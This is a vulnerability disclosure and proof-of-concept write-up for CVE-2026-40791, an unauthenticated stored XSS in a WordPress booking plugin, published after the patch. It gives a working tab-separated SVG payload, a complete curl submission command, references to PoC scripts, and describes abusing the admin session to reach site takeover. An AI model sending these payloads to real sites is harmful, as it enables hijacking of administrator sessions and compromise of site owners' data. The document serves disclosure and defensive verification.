
CVE-2026-40791: Unauthenticated stored XSS in WP Time Slots Booking Form <= 1.2.46
I found an unauthenticated stored XSS in the WordPress WP Time Slots Booking Form plugin. A public booking submission controls part of the stored time-slot value. The plugin later prints that value into the administrator Booking Orders page without escaping it.
The trick is simple: the plugin splits the submitted appointment string on
literal spaces, but HTML treats a tab as whitespace between a tag name and an
attribute. So 8:<svg[TAB]onload=...> survives the plugin parser as the slot
value, then becomes real markup when the admin opens the booking list.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Affected | <= 1.2.46 |
| Fixed | 1.2.47 |
| Bug class | Unauthenticated stored XSS (CWE-79) |
| Impact | Public booking -> JavaScript in admin wp-admin session |
| CVSS | 7.2 High (Wordfence), 7.1 (Patchstack) |
| Credit | Daniel Wade |
The public booking form accepts this field:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
The plugin parses it like this:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Because the separator is a tab, not a literal space, item_split[1] becomes:
8:<svg onload=alert(document.cookie)>
That slot value is serialized into the booking. When an administrator opens
Booking Orders, version 1.2.46 prints it here:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
No escaping. The SVG onload fires in the admin page.
This is not just "can I read the admin cookie?" Modern WordPress auth cookies
are normally HttpOnly, so document.cookie may not expose the real
wordpress_sec_* cookie. The important part is that the script is running in an
authenticated admin-origin page. It can fetch same-origin admin pages, read
exposed nonces, and send authenticated admin requests from the victim browser.
The vulnerable flow:
unauthenticated POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Booking Orders appointment badge
-> unescaped HTML output
The parser assumes the time slot is just text. It is not. It is attacker input that later lands in an HTML context.
The vulnerable sink is in cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
That phpcs:ignore WordPress.Security.EscapeOutput is the whole story in one
line. The escaping warning was suppressed where attacker-controlled booking data
was being printed.
The payload shape:
8:<svg[TAB]onload=alert(document.cookie)>
Why it works:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" stays one token
Browser HTML parser
<svg<TAB>onload=...> becomes <svg onload=...>
The slot parser gets the value it expects. The browser gets the tag it knows how to execute.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
Manual curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Expected result:
HTTP/1.1 302 Found
Then log in as an administrator and open:
WP Time Slots Booking Form -> Booking Orders
The payload runs when the stored booking row is rendered.
I validated the full chain in a disposable local WordPress lab:
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA disabled on form 1
Public page with [CP_TIME_SLOTS_BOOKING id="1"]
The PowerShell PoC submitted cleanly:
HTTP status: 302
The payload landed in wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Headless Chrome then logged in as administrator, opened Booking Orders, and saw the marker set by the stored SVG handler:
ADMIN_XSS_EXECUTED
I also tested the same stored malicious rows after replacing the plugin with
1.2.47. The admin page rendered the payload as escaped text:
04/15/2026 8:<svg onload=...>
No marker fired:
PATCHED_NO_XSS_EXECUTION
There is also a small local render sanity check:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
It verifies the two mechanical parts without a full WordPress install:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
The attacker does not need an account. The attacker submits a public booking and waits for an administrator to view Booking Orders.
Once the admin views that page, the attacker's JavaScript runs inside the
administrator's WordPress origin. A real attacker would usually not stop at
alert(document.cookie). They would use the admin browser as the admin:
fetch admin pages
-> read nonces from HTML
-> submit authenticated admin POSTs
-> change site state
Depending on the administrator's capabilities and site configuration, that can mean creating users, changing plugin settings, modifying notification destinations, reading booking/customer data, or escalating toward full site takeover through plugin/theme functionality.
Version 1.2.47 escapes the stored slot before building the admin badge:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
That fixes the sink. Sanitizing earlier would also be reasonable, but the security boundary is the HTML output context in the admin page.
poc/
reproduce.ps1 # PowerShell unauthenticated booking submitter
reproduce.sh # Bash/curl unauthenticated booking submitter
lab/
render-check.html # Minimal vulnerable render fixture
validate-render.ps1 # Parser + browser execution sanity check
README.md
| Date | Event |
|---|---|
| 2026-03-24 | Reported to Patchstack |
| 2026-04-13 | Patch validated |
| 2026-04-23 | Wordfence published advisory |
| 2026-04-24 | Patchstack published advisory |
| 2026-04-30 | Wordfence last updated entry |
Disclaimer: This PoC is published for defensive research and verification after patch availability. Do not use it against systems you do not own or have explicit authorization to test.
CVE-2026-40791 - Fixed in WP Time Slots Booking Form 1.2.47. Affected: 1.2.46 and earlier.